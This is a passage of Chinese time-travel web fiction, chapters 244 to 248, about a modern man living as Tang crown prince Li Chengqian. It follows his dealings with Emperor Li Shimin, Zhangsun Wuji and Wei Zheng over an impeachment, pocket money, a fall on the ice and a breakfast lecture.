颈椎病会加重头风病,这副身体有概率遗传头风病,李承乾是一点儿不敢马虎,一回去就开始做各类运动。杜绝颈椎病是不可能的,但有效预防是必要的。 早朝 李世民才落座,就见御史大夫萧瑀出列。 “陛下,权万纪临行之前,递上来一道奏疏,涉及太子,兹事体大,臣不知该不该上呈。” 涉及太子? 李世民也懵了,李承乾最近安分的不得了,不,那兔崽子一直都很安分。 “说来听听。” 萧瑀道:“权万纪弹劾太子,两个月前,太子于闹市纵马伤人,惹的民怨沸腾,议论纷纷。” 李世民:…… 马周:民怨沸腾? “胡言乱语,臣亲自安抚的受伤百姓,核算赔付的银钱,那都是按照长安城青壮年收入三倍赔付,哪儿来的民怨沸腾?” 萧瑀道:“这是权万纪弹劾的第二点,太子钱财,来路不明。” 第244章 财神爷 萧瑀将奏疏奉上,李世民一目十行扫完,险些没直接动手撕了。 “太子的马惊了,才致使太子车驾在街上四处乱窜,太子跳车逃生还伤了脚。这个权万纪,什么都不知道,就敢弹劾太子闹市纵马,草菅人命。 什么钱财来路不明,几个月,太子的除了每个月俸禄的八千钱,还有朕给的三万钱。他权万纪一张嘴,红口白牙,尽在这里胡说。” 萧瑀道:“太子殿下有份例,份例之外还有俸禄,要这么多钱做什么?” 李世民当即回了一句,“公衣食无忧,集资币于府中做甚?太子听话懂事,让朕省心,朕乐意给,又不是从你府里出,你如此见不得是个什么意思?” 萧瑀表示冤枉,他就随口问一句,又没说皇帝不应该给。 长孙无忌面无表情,他这个出钱的,都没说太子不该有这么多的钱。 萧瑀默默闭上嘴巴,回到自己位上。 “车马失控伤人一事,赔付不够,一部分钱还是从朕私库里走的。把这个权万纪给朕召回长安,朕倒要问他是个什么意思?先是不分青红皂白弹劾吴王恪,现在不知内里的污蔑太子承乾。是不是朕的儿子,他都要挨个上疏一遍?” 皇帝发了火,早朝一众大臣都是战战兢兢,一出太极殿,萧瑀就拉着魏征抱怨:“今日之事,你怎么一言不发?” 魏征道:“陛下给太子多少零花钱,又没走国库,要我怎么说?太子拿了这笔钱,没有斗鸡走狗,花天酒地,要我怎么说?权万纪前两次弹劾齐王、吾王,就是一味夸大事态,忽略事实,这一次弹劾太子,他也是不知内情,只有臆测的胡说,你要我怎么说?” 萧瑀道:“上次陛下修门,房相问及此事,惹来陛下龙颜大怒,你为房相辩护,气的陛下拂袖散朝。” 魏征道:“陛下修门,用的是国库的钱,房相作为中书令,问清楚开销,这是他的职责所在。陛下为此事申饬房相,那是陛下做的不妥当,我当然要说。权万纪弹劾太子,一知半解就在那里上疏乱说,陛下生气,理所当然,我也无话可说。” 萧瑀道:“看样子,陛下这一次不会轻易放过权万纪。” 魏征道:“善了肯定是不可能,但也不至于要权万纪的命。” 长孙无忌在魏征和萧瑀身后,一直没说话,魏征那个履历,他是看不上的,所以他跟魏征从来都不对付。只是,他一直游离朝堂之外,同魏征交集不多。 当年站队建成太子,证明了魏征选择的错误,现在又站队承乾太子,还颇得李世民和李承乾父子的信任,长孙无忌心里头多少有几分不平衡。 长孙无忌觉得,魏征这种人,本事没有多少,就凭着一张嘴,真本事没有,根本就配不上皇帝和太子的恩宠。 李承乾不上朝,自然不知自己被人弹劾了,正抱着李觉逗弄。 长孙无忌来了,李承乾将孩子交给乳母,出了店门去迎长孙无忌。 “难得舅父今日得空,用过午膳,多玩一会儿再回去。” 只要不上班,让他陪长孙无忌都没有问题。 “我在这里用午膳,并不能改变什么,你仍旧要去甘露殿批奏疏。” 李承乾:…… “舅父,您就不能想我点儿好?” 长孙无忌轻笑,“那你猜猜,我为何过来?” 李承乾脸上带笑,心里羊驼呼啸,他又不是长孙无忌肚子里的蛔虫,他怎么可能会知道,长孙无忌过来干什么。 “舅父,您就别卖关子了。” “你被弹劾了!” 有些预料之外,李承乾扶着长孙无忌落座,又吩咐宫人给长孙无忌上茶汤。 “听说太子颇善茶道。” 懂,大佬能看上他的技术,是他的荣幸。 “略知一二,舅父来了东宫,偶尔换换口味如何?” 长孙无忌做了个请的动作,李承乾拱手还礼,上前扶着长孙无忌起身,二人到茶案前分了宾主落座。 李承乾抬手退了伺候的宫人,道:“我这思来想去,觉得我挺安分的,中规中矩的做太子,实在不知道哪里做的不好,遭了弹劾,还请舅父提点。” 长孙无忌道:“权万纪上疏,弹劾你闹市纵马伤人,惹的民怨沸腾,他还弹劾你,钱财来路不明,有收受贿赂之嫌。” 李承乾夹了些许茶叶,丢进茶碾之中,又问道:“那么,陛下是怎么说的?” 准确的说,皇帝如何解释他闹市纵马伤人。 “陛下说你的马惊了,这才使得车驾不受控制。” 明白了,皇帝不愿意点破李泰刺杀他的事情,大抵是想把此事摁下,把李泰摘出来。 “只是马受惊了,不成想闹出这许多麻烦。” 长孙无忌轻笑,识时务者为俊杰啊! “殿下能有这份气度,我可以安心了。” 李承乾轻笑,代入个人感情,当然保持不了气度,可他的眼里,皇帝就一个政治机器,他对机器能有什么感情? 政治机器有感情,但来的快,去的快,太难把控了,应付这种具有很强变数的碳基生物,最好的办法就是不付诸任何情义,随时保持清醒理智。 宋人的审美和生活情趣,放在整个华夏历史,都是首屈一指的存在,茶文化在宋代,被推到了一个前所未有的高度。 李承乾做过宋时的茶博士,母亲付老师也极好宋代茶道,他的烹茶之技放到宋代,那也是拿得出手的。 “舅父,尝尝我做的茶汤。” 长孙无忌接了茶汤,淡淡抿了一口,喝不惯,但别有一番风味。 “陛下前日找我去北海吃酒。” 李承乾给自己倒腾了一盏茶,道:“陛下说他身体不适,结果跑出去吃酒,平白留我在甘露殿干苦力。” “承乾,你要是干苦力的,长安城那些真正干苦力的人,都没地儿说理了。” 李承乾笑了笑,思索长孙无忌言外之意。 “陛下说,太子听话懂事,做父母的合该有奖励。父亲给了三万钱,母亲给两万钱就可。” 母亲逝世,娘亲舅大,自然是舅父替母亲出钱。 李承乾憋着笑意,皇帝,是真的坑啊! “多谢舅父。” 李承乾凑上前,双臂十分熟稔的从背后环住长孙无忌脖子,脑袋枕在长孙无忌肩膀上。 “就知道,舅父最疼我了。” 财神爷,可不得好好哄着。 长孙无忌满脸嫌弃,将人扒拉开。 “要撒娇,找陛下,我瘆得慌。” 李承乾沉默片刻,道:“找陛下撒娇,我瘆得慌。” 长孙无忌:…… 第245章 补偿 习惯了皇帝搞偷袭,李承乾已经见怪不怪,他理了理衣袖,上前向皇帝施礼。 李世民没理会李承乾,径直上前扶了一把长孙无忌。 “辅机,你要朕好找。” 长孙无忌笑道:“太子躲在东宫,外间的事情,是一点不上心,他急不急,臣是着急啊!” 李世民含笑落座,“着急的哪里只辅机一人,朕也着急。” 李承乾暗暗腹谤:他这当事人太子都不急,皇帝和国舅急成这样。 刚才的话,不知道李世民听到多少,但长孙无忌可以肯定,李承乾最后那句话,皇帝心里头不痛快。 是非之地,不宜久留。 “陛下,臣家里还有事,先行告辞。” 就这样水灵灵的跑了? 长孙无忌,只有扶持李治做皇帝的时候,做事情是靠谱的。 “舅父,不是说好了,留下来……” “实在是家里有急事,承乾,你和陛下慢慢聊。” 聊个毛线,他和长孙无忌还能虚与委蛇的演戏,跟皇帝,打的是明牌,连戏都没得演。 古今中外的父子局,最怕空气突然安静下来。 “父亲,您渴不渴?” 李世民道:“那长孙无忌渴不渴?魏征渴不渴?” 李承乾尴尬一笑,坐到查案迅速造一碗茶汤出来。 “你和长孙无忌,你们什么时候这般熟稔了?” 李承乾道:“从他做太子詹事之后,不是您说的,不管臣喜不喜欢舅父,眼下都不能得罪他吗?” “朕听明白了,不能得罪长孙无忌,可以得罪朕,是不是?” “冤枉!” 李承乾觉得他真的太冤枉了,皇帝是终极大佬,长孙无忌老阴比一个,这两个人,他是哪一个都得罪不起。 “父亲,臣这个太子,不赌不嫖,不贪不占,不寻花问柳,不斗鸡走狗,哪里就把您给得罪了?” 李世民紧了紧拳头,最后压下了心头的火气。 “权万纪弹劾你的事情,你舅父同你说了吧?” 李承乾点点头,长孙无忌急三火四过来,怕的就是关于他马车失控,他和皇帝在失控原因上产生分歧。 “说了一些,父亲放心,此事臣不会插手的。” 李世民松了一口气,心下又不免添了几分难受。 他怕李承乾孤注一掷,像处理孔颖达那样,逼迫他处置李泰。 李承乾似这般,什么都不放在心上,李世民心里也不好受。 “刺杀的事情,你受了委屈,朕会给你补偿的。” 李承乾将茶汤推过去,静静听着,倒是想知道,皇帝所谓的补偿是什么。 “之前给过你一道换立皇太孙的诏书,等觉儿满月,朕正式下诏封觉儿为皇太孙。” 李承乾心下一惊,险些没拿稳茶碗,这个补偿的确够分量。 “臣觉得,还是等一等吧!” “怎么了?” 李世民不解的看向李承乾,心里生了一个可怕的念头。 “你不会是想要象儿继承大位吧?” 李承乾摇摇头,李象身后没有家世,没有啥助力,他还不至于丧心病狂到那个地步。 “臣只是觉得兹事体大,觉儿尚未足月,将来资质如何,一切都未可知,过早的立皇太孙,于国于己身都不是什么好事情。” 李世民沉默良久,最后点头同意了。 “承乾,倘若将来觉儿无能,你打算如何安置他?” 李承乾道:“三叔一脉无人,若觉儿将来真的不堪大用,过继到三叔一脉未尝不可。” “他是你的儿子,合该是这未来的天下之主。承乾,你这样做对觉儿不公平。” 李承乾苦笑道:“父亲,人间哪有绝对的公平。” 千百年后,号称法治社会的华夏,阳光下的阴影,也是触目惊心。 “将一个无能的皇储扶上大位,才是对江山社稷,对天下黎民百姓,最大的不公。” “承乾这样聪慧通达的人,你亲自教导出来的觉儿,一定不会是个无能之辈。” 李承乾长叹一声,他也希望是这般。 “但愿如此。” “未来是一个怎样的社会,能培养出你这样的人。高明,朕希望朕千秋万代之后,能去到未来那个世界。朕是说如果,如果真的有那么一天,你我之间没有任何皇权纠葛,朕收你为义子,你可愿意,真心实意,像称呼高先生那样,称呼朕一声‘爸爸’呢?” 李承乾默然,一时不知该如何回答这个话题。 很多父子,只有在病床上,其中一个奄奄一息的时候,才会真正的和解。 那个时候,不存在任何冲突和威胁,只剩下了生离死别。 “好,多一个爸疼我,逢年过节,双份的红包大礼。” 李世民沉思片刻,红包===钱! 李承乾是缺过钱的人,钱可以不用,但不能没有。 “从下个月开始,朕每个月再多给你一万钱。” 拿人手软,一万钱,他对刺杀的事情,睁一只眼闭一只眼。 皇帝,太有经商天分了! 趁此机会,不捞一小笔,那怎么行? “父亲,江浙一带,每年要给朝廷上贡冬笋。” 李世民笑了笑,十分宠溺的看着李承乾,“今年的冬笋,给你往常三倍。” “帅气!” 李承乾抚掌喝彩,李世民将“帅气”听成了“帅旗。” “朕御驾亲征,插你的帅旗,不太好。不过,你要是实在想要,朕让人给你做一面,到时候找个软柿子,你带人去打一架也行。” 李承乾一脸懵逼,问道:“臣说的是帅气,元帅的帅,气概的气,跟‘彩’一个意思。” 李世民:…… “原来如此,此‘帅旗’不是彼‘帅气’,未来的人,还挺好玩儿的。” 谈到未来,李承乾兴致勃勃,笑着道:“您总说魏师傅嘴巴毒辣,那是您不知道未来的人,那嘴巴毒辣程度,十个魏师傅都干不过。” 李世民笑道:“朕不信!” 李承乾道:“魏师傅讲理,只要他讲理,嘴巴再毒辣,那也毒辣不到哪里去。您要知道,未来混网络的人,蛮不讲理。” 提到这个话题,李世民想到了承乾回来说的那些话,李世民一肚子的火。 “这种误人子弟的东西,为什么还允许存在?” 第246章 刀 禁网,禁在二十一世纪,无异于谋财害命。 任何人,在任何时间,任何地点,只要想,就可以拿出电子产品,娱乐生活。 最为廉价且高效的一种娱乐休闲方式,深深扎根在底层老百姓生活之中,其分量并不比衣食住行轻。 毫不夸张的说,二十一世纪相对稳定的社会环境,跟网络的普及有很大关系。 “兹事体大,朕要谁去得罪这个人好?” 不出意外,皇帝要收网了,能如此问,就是不愿意长孙无忌、房玄龄等人出面得罪这个人。 “承乾,其实魏征是个很合适的人,他是孤臣。” “那也不行!” 李承乾严词拒绝,李世民得了意料之中的答案,并不觉得意外。 “从前,师傅不顾病弱之躯,也要护着臣。现在,只要臣有一口气在,就不许任何人伤害他。” 李承乾面色决然,让李世民颇为意外,除却妻儿和母亲,这世间竟还有人能让李承乾做到如此境地。 “承乾,倘若朕一定要用魏征呢?” 李承乾语气决然,“诏书下达,臣当然没有任何法子。” 牵扯山东诸多大族,一旦动了,事后必定要一个替死鬼,什么时候死,只是时间问题。 “你放心,朕不会伤害魏征的。” 李世民是看出来的,这小子维护魏征,大有鱼死网破的架势。 魏征,一个快进土的老棺材瓤子,不值得让他和承乾失和。 “他是朕的儿女亲家,他若是倒了,魏叔玉就没法子迎娶衡山了。” 李承乾抿了口茶汤,没接皇帝的话茬子,已然下定决心,皇帝敢让魏征去送死,贞观二十三年之前,皇帝膝下儿子和孙儿,只有他李承乾这一脉。 “朕会告诉大臣,你脚上的伤势,迟迟不能痊愈,没办法上朝。” “父亲想提谁进尚书省主事?” 李世民目光凌厉,说话语气泛着寒意,“朕养的刀,朕没用上,便宜了武媚娘,成了她敛权的工具。” 听这话的意思,是酷吏,武媚娘的酷吏可多了。 许敬宗、来俊臣、周兴、索元礼…… 符合要求的只有许敬宗,秦王府十八学士之一,说到许敬宗,李承乾想起一件比较好玩儿的事情。 许敬宗之死,太子李弘这股新兴的政治势力,给许敬宗上谥号为“缪”,含义为“名与实爽”。 给武后的肱股之臣,上这么一个谥号,李弘的行为,无异在打武后的脸。 围绕谥号之争,双方展开了一场拉锯战,最后李治下场和稀泥,给了一个“恭”字,意思是“既过能改”。 整体看这一局,武后赢了。 “你笑什么?” 李承乾道:“父亲可知,这位罗织罪名,制造冤案,残害忠良,帮助武后敛权的十八学士,最后陪葬昭陵,长伴您左右。” 李世民:…… “承乾,你不说话,朕不会把你当哑巴。” 李承乾碾茶,嘴里忘揶揄皇帝:“臣要是不说话,您可又要说,臣是不是个哑巴,一问三不知了。” “你如今可是愈发的放肆了。” 李承乾道:“李义府,这个人也可以用,素质不详,能力遇强则强,十分适合做刀。” “又是武氏一朝的奸佞?” 李承乾笑道:“别把责任都推给武后,你儿子也用。” “两仪殿朝议之后,记得去甘露殿批奏疏。” 李承乾一时没反应过来,他还要去批奏疏? “父亲,您不是说要臣称病不朝,给许敬宗让位置吗?” 李世民道:“你又不是真的病了,为什么不去甘露殿批奏疏?” “活儿臣干了,您干什么?” 李世民道:“朕就在一旁,找人对弈品茶,看着你干。” 李承乾:…… “您之前在外面胡说,臣小胳膊小腿,大臣们看臣的目光,就差没把‘体弱多病’四个字写到臣脸上。臣继续称病,臣都不敢想,下次见面,大臣们会怎么看臣。拿名声换来的闲时间,您还要占用,这合适吗?” 李世民挑眉,抚掌道:“朕觉得很合适,你不要忘了,朕可是支付了你加班的酬劳。八千钱的三倍,是两万四千钱,朕从长孙无忌那里划了两万钱,又加了一万钱,你到手三万钱,余下六千钱不用你找零,打赏你吃茶。” 李承乾愣在当场,好有道理,一时之间,竟找不到任何理由反驳。 “会算账的不止你一个人,别拿了钱不干事。” 李承乾道:…… 李世民拂袖而去,李承乾原地伫立良久,最后长叹一声。 罢了,有钱好歹不是白干。 估摸着两仪殿朝议结束,李承乾动身去甘露殿,皇帝和长孙无忌都在。 李承乾向二人见了礼,这二位关系密切程度,简直令人发指。历史记载,不知是真是假,皇帝临终时,在终南山含风殿,召见长孙无忌,抚摸长孙无忌的面庞虚发,声泪俱下的告诉褚遂良,自己走了之后,一定要保护好长孙无忌。 好歹是经过时间雕琢锤炼的,笔速没的说,两个老登如此逍遥,士可忍孰不可忍! 是以,每每皇帝落子,李承乾总会“恰好”提问,他一提问,皇帝就必须分神出来思考,棋盘上注意力很难集中。 只是,李承乾忽略了一点,君王的棋哪能随便赢,他一直捣乱,架不住长孙无忌放水,李世民依旧稳赢。 皇帝的棋这么厉害吗? 李承乾不信那个邪,继续捣乱。 李世民分心之后,棋盘上放水难度变大,长孙无忌气的咬牙,要不是君臣名分挡在这里,他一定要踹上李承乾几脚。 第二局结束,皇帝赢。 李承乾恍然大悟,他怎么给忘了,郝建的乒乓球,比赛的名次取决于坐第几把交椅。 天色渐晚,长孙无忌起身告辞,李承乾批完奏疏原本要走,被皇帝留下用晚膳。 “你那点儿小聪明,对朕没用。” 李承乾道:“沙家帮的帮主打篮球,肯定得是灌篮高手。” 李世民问道:“沙家帮帮主?篮球又是什么?” 李承乾道:“未来的封疆大吏,篮球是一项体育比赛,投球计分,投球也叫灌篮。” “你的意思,朕不是靠实力赢得无忌?” “舅父绝对放水了,父亲不信的话,咱们赌一把。” 第247章 摔倒了 李世民一个暴栎敲到李承乾额上,斥责道:“长本事了,朕跟你说的话,是一句都记不住。” “臣就是说说而已,您至于嘛!” 他当然知道,长孙无忌这种老阴逼,不到万不得已,不能得罪。 “奏疏批完了,臣回去了,父亲再见。” 李世民道:“冬笋今日到的长安,朕拨了一半给你,已经让人给你送到东宫了。” 人生的一大乐事,拆快递,李承乾辞别皇帝,忙不迭往东宫去。 换了寝衣,人才躺下,张阿难神色焦急进来。 李世民揉着两鬓,问:“出什么事了?” “雪天路滑,又是夜里,太子殿下摔了一跤。” “什么?”李世民一个鲤鱼打挺起身,“摔得严重吗?胳膊腿都没事吧?” 张阿难道:“陛下放心,胳膊腿没事,头磕到了,晕过去了。” 晕过去了…… 更放心不下了,一些不好的回忆涌了上来。 李世民慌忙起身,换了衣服就往东宫去。 “怎么回事?好好的怎么会摔跤?宫道上的积雪不是一直都有人清扫吗?怎么会路滑?侍奉的宫人都是干什么吃的?” 张阿难道:“奴婢问过了,说是那一块儿积水结冰,路面和冰块融为一体,又是夜间看不清路,这才致使太子滑倒。侍奉的宫人去扶,结果摔成一团。” 李世民紧了紧拳头,动手脚,动到宫里来了,士可忍孰不可忍! “摔成一团,没压到太子吧?” 张阿难道:“那倒没有。” 李世民松了口气,久经沙场,他可太知道了,人叠人,伤害有多厉害。 “这事没那么简单,去查,给朕查。” 显德殿人来人往,苏氏和李象近身伺候,众人神色凝重,看到皇帝到来,都自觉让开路。 “废物,都是一群废物。”李世民捶床怒斥,“不是说了,让太子乘步辇出行吗?你们……” 不对,这要是乘坐步辇出行,从步辇摔下来,问题更大。 “好好照顾太子,缺了什么立刻报与朕。” 鉴于上次李承乾晕倒,发生的一系列不愉快,李世民一颗心直接提到嗓子眼。 一朝被蛇咬,十年怕井绳。 李世民当即驱散了宫人,打发了苏氏和李象各自回到自己的宫室,自己在这里守着。 凌晨三更时分,李承乾终于醒来,看到皇帝在他床榻边,李承乾心中滋味难言。 “你醒了。” 刚刚升腾起的感动,在看到皇帝眼底的急切的那一刻,瞬间消散。 还以为皇帝的关心,是在乎他有没有摔伤,但实则,是怕上一次的事件重现,另一个自己回来作践人。 那句话咋说来着,终究是错付了。 “就是摔了一跤,父亲也太大惊小怪了。” 李世民道:“千乘之尊,也就你自己,不把自己当回事。太子,太子,你是太子,知不知道自己的身份,做什么事情都这么不小心。” 鬓角两边有些胀痛,李承乾抬手轻轻揉了揉,皇帝说话的语气,怎么越来越像魏师傅了。 “知道,知道,臣知道。跌打损伤,意外而已,臣又没有涉险。您这话说的,好像臣多没心眼,人家挖个坑,臣眼睛都不眨的往下跳。” 摔倒脑袋就磕到了,人直接晕过去,李承乾还不知道宫人都摔倒一团的事情。 李世民不打算揭破此事,道:“朕已经吩咐阿难,收拾出甘露殿的偏殿,往后在甘露殿批奏疏,时间太晚,不必回东宫,歇在甘露殿。” “什么?歇在甘露殿?” 李承乾只觉得背心发凉,羊跑狼窝睡觉,动画片里可以,是碳基生物能想出来的剧情,可这又不是演喜灰。 “不……不用……”李承乾拒绝的十分顺滑,“歇在甘露殿,臣会睡不着觉的。” 李世民道:“不识好歹的兔崽子,甘露殿哪里委屈你了?你搞谋反,想住进去还失败了,现在朕让你住进去,你还不领情。” “臣不识好歹,您是大人有大量,您发发善心,别为难臣了。那甘露殿,臣住不了。” 李世民气的胃疼,想要打,又怕打坏了,憋了一肚子火,最后拂袖而去。 不见吴安,李承乾心下疑惑,召来吴顺询问。 太子摔倒真相,皇帝有意隐瞒,没人敢同太子明言,只说皇帝嫌吴安伺候不行,打发到别处当值了。 李承乾心里闷闷的,一股说不上来的感觉,吴顺的回答,他最多能知道,吴安没有性命之忧。 古代有株连,现代也将连带责任,他自己一时大意,却害了一堆人承担责任。 朝议结束之后,李承乾准点出现在甘露殿,拜见过皇帝之后,问起了吴安的事情。 “吴安不曾背弃于你,对你尽忠职守,可无能也是一种罪。朕没有要他的姓命,打发他去掖庭看守藏书,已经是从轻发落了。” 李世民轻轻拊掌,一个约了三十出头的内侍从殿外进来,“奴婢鱼敬之拜见陛下,太子殿下。” “往后鱼敬之跟着你,有他护你周全,朕也能安心些。” 李世民挥挥手,示意鱼敬之下去。 “你不忍身边之人,受你连累,就要好好的保重自己。朕知道,你有自己的一通道理。朕告诉你,这里是大唐,讲大唐的规矩。就算是未来的规矩,朕出了钱,他没把事情干好,难道不追究责任?” 皇帝的道理,让李承乾无可反驳,就算辩驳,也不可能改变什么。 “别发愣了,干活儿。” 李承乾落座,才发现奏疏少了一半,另一半在皇帝案头。 “你不愿意在甘露殿住,朕不强求你。奏疏批完了,早些回去歇着。” “多谢父亲。” 李世民又道:“朕再提醒你一遍,往后出门,带人,一定要带人。” “知道了!” 听这语气,李世民也起了火。 “下一次,你要是不带人,太子受伤了,朕就是公事公办,到时候,牵扯可不止你身边侍奉的奴婢。” 李承乾磨墨的动作一滞,下意识抬头去看皇帝。 “君子不立危墙之下,你连这个自觉都没有,你的那些老师,都要追责的。” 第248章 汝何不上九天 太子有疾,本是一句搪塞,结果李承乾摔了一跤,直接来了个金口玉言。 李世民发落宫人,朝廷上也有所耳闻。 “这太子怎么不是病就是伤?”萧瑀凑过去,跟魏征咬耳朵,“你说,这都是个什么事情。” 魏征道:“我也奇怪,太子也太频繁了。” 萧瑀道:“三月份左右,先是风寒,高烧不退,陛下为此封了东宫,那两天陛下脸色,黑的人不敢抬头。没过两天,脑袋又给磕了。好容易安生个把月,脚又摔伤了,皇孙诞育,没安生几天,又摔跤了。整整一年,我算了算,他上朝也就三个来月。其他时间,不是生病,就是养伤。” 李承乾这个身体状况,魏征也不由得叹气。 萧瑀又道:“病两场正常,三天两头受伤是个什么情况?” 魏征道:“下朝之后,我去东宫走一趟。” “权万纪押回来连,在大理寺,你说陛下这次,会怎么处置?” 魏征摇摇头,他也是言官出身,但权万纪这个人,怎么说呢!就是,一言难尽。 “魏公,你应该不会给权万纪上疏辩护吧?” 魏征:??? “萧公,您为何觉得我会给权万纪辩护?” 萧瑀道:“我不太喜欢权万纪,知道你给他辩护,方便我提前写条陈,证明权万纪该死。如果你不给他辩护,我就不用写了。” 魏征:!!! “这个,不至于提前写奏疏吧?” 萧瑀白了眼魏征,得知魏征不会上疏辩护权万纪,他心满意足的去找高士廉闲话家常了。 魏征苦笑,这真是用完就扔啊! 早朝 众臣落座之后,李世民率先开口:“玄成,你去东宫一趟,替朕教导太子一堂课。” 魏征不明所以,问道:“陛下,这是太子少师的职责。” 现在的太子少师,是崔仁师。 李世民笑道:“太子那张嘴巴,朕是用拳头压制住的,拳头之外能压制住太子的,满朝文武,只有你了。拿出你跟朕进言的本事,好好骂他一顿。” “不如,老臣与太子少师同去东宫。” 李世民道:“你一个人去。” “臣谨遵陛下敕命。” 李世民点点头,目送魏征出门。 启用许敬宗,肯定会遭到魏征的反对,许敬宗得势期间,针对起魏征,李承乾那个混账,在朝廷上干出什么,他不在意,左右最后顺手把许敬宗弄死。 但是,为了魏征那个老棺材瓤子,让他和李承乾起了冲突,实在是不值得。 早膳炖了一道鲜笋鸡汤,其实他想吃鸡髓笋,只不过太耗费食材了,二十一世纪物资丰富,吃一吃倒无妨,到了大唐,哪怕是权贵,这道菜也太奢侈了。 魏征来的时候,李承乾正命人摆膳,脑袋磕了个大包,见人都不太好意思。 “师傅怎么过来了?” 上朝时间,魏征过来,就好比休息日老师来家访。 “陛下敕命,臣过来给殿下教授‘君子不立于危墙之下’。” 李承乾:…… 只能说,皇帝挺会埋汰人。 “您快做,正好摆膳,您用过早膳之后再教授可好?” 魏征点点头,笑着道:“殿下这三灾六病的,早膳可不敢停了。” 继小胳膊小腿之后,他喜得“体弱多病”的不实标签。 魏征在李承乾右侧下首位置落座,李承乾亲自布菜,给魏征盛了一碗鸡汤。 李承乾的早膳,相对于长安权贵,可以用简朴形容。 一个胡饼,一盅鲜笋鸡汤,一盏虾酱,配四个时兴小菜。 “今年新供的冬笋,昨儿到的长安,陛下给我好多,今天吃第一顿,您尝尝味道。” 冬笋产自南方,在长安是稀罕物,有价无市。 魏征生活作风简朴,只有宫宴,或者去其他权贵府邸做客,才能品尝到此物。 “今年贡上来的春笋,我那个时候忙着,都没问陛下多要一些,不然的话可以吩咐典膳,做一些酸笋,酸笋鸡皮汤也很是开胃。” 魏征道:“这些稀奇古怪的吃法,殿下从哪里得来的?” 李承乾顿了一顿,接受这个世界之后,人都随意了,都忘记,桌子上坐的不是皇帝,是魏征了。 “听下人们说的,又不是什么稀罕物,偶尔做来尝尝。” 魏征笑笑,贡品于太子而言,自然不是什么稀罕物。 罢了,只要皇帝不因为太子喜好鲜笋,要求地方加大进贡数额,太子不因为喜好,做一些劳民伤财之事,他也就不扫兴了。 “殿下似乎很喜欢鸡和鱼?” 李承乾点头,“这都被师傅看出来了,厉害。” 魏征道:“之前做殿下的少师,出入东宫颇为频繁,殿下每隔五六天,就会煨汤。鸡鸭汤、菌菇汤、各色鱼汤,不过最为常见的还是这鸡汤,堪称花样百出。” 李承乾轻笑,不敢说九成,有至少六成左右的南方人,对鸡鸭鱼爱得深沉,要不是长安没海鲜,他多少得来点儿海鲜汤。 “师傅您放心,我心里有数,吃的都是我的分例。” 魏征点点头,笑呵呵的道:“所以,臣也没有指责殿下不该吃。以殿下的份例,莫说五六天吃一次,就是日日吃,也是管够。” 李承乾听得心里发麻,大多数肉汤,嘌呤含量巨高,日日吃,人不得废了。 “殿下,您又做了什么不爱惜自己的事情?” 李承乾不言,嘴巴里有东西,说话不文明。 一直到嘴巴里饭菜咽尽,李承乾这才开口:“师傅,您不要听陛下一面之词。” “殿下,你不要恶意揣测陛下,陛下就说了一句,要臣过来给我殿下授课。” 李承乾道:“师傅,您到底站谁?” “老臣站理,一年病个两次不奇怪,可你这三天两头受伤,是个什么意思?” “师傅,意外,意外,那些都是意外。还有,什么三天两头,是隔月,不是隔天。” 魏征道:“一次受伤,养伤个把月,然后接着受伤,接着养伤。就这,你还想隔天?汝何不上九天?” 李承乾:…… “师傅,都说了,那是意外,意外!” 还嘴硬,魏征挑眉,继续道:“一次是意外,两次是意外,你意外多少次了?” “师傅,您要骂我,等我吃完再骂。” 魏征点点头,“这个可以有,把你说哭了没事儿,说的你没胃口,不进膳,那就是老臣的大罪过了。” 李承乾:……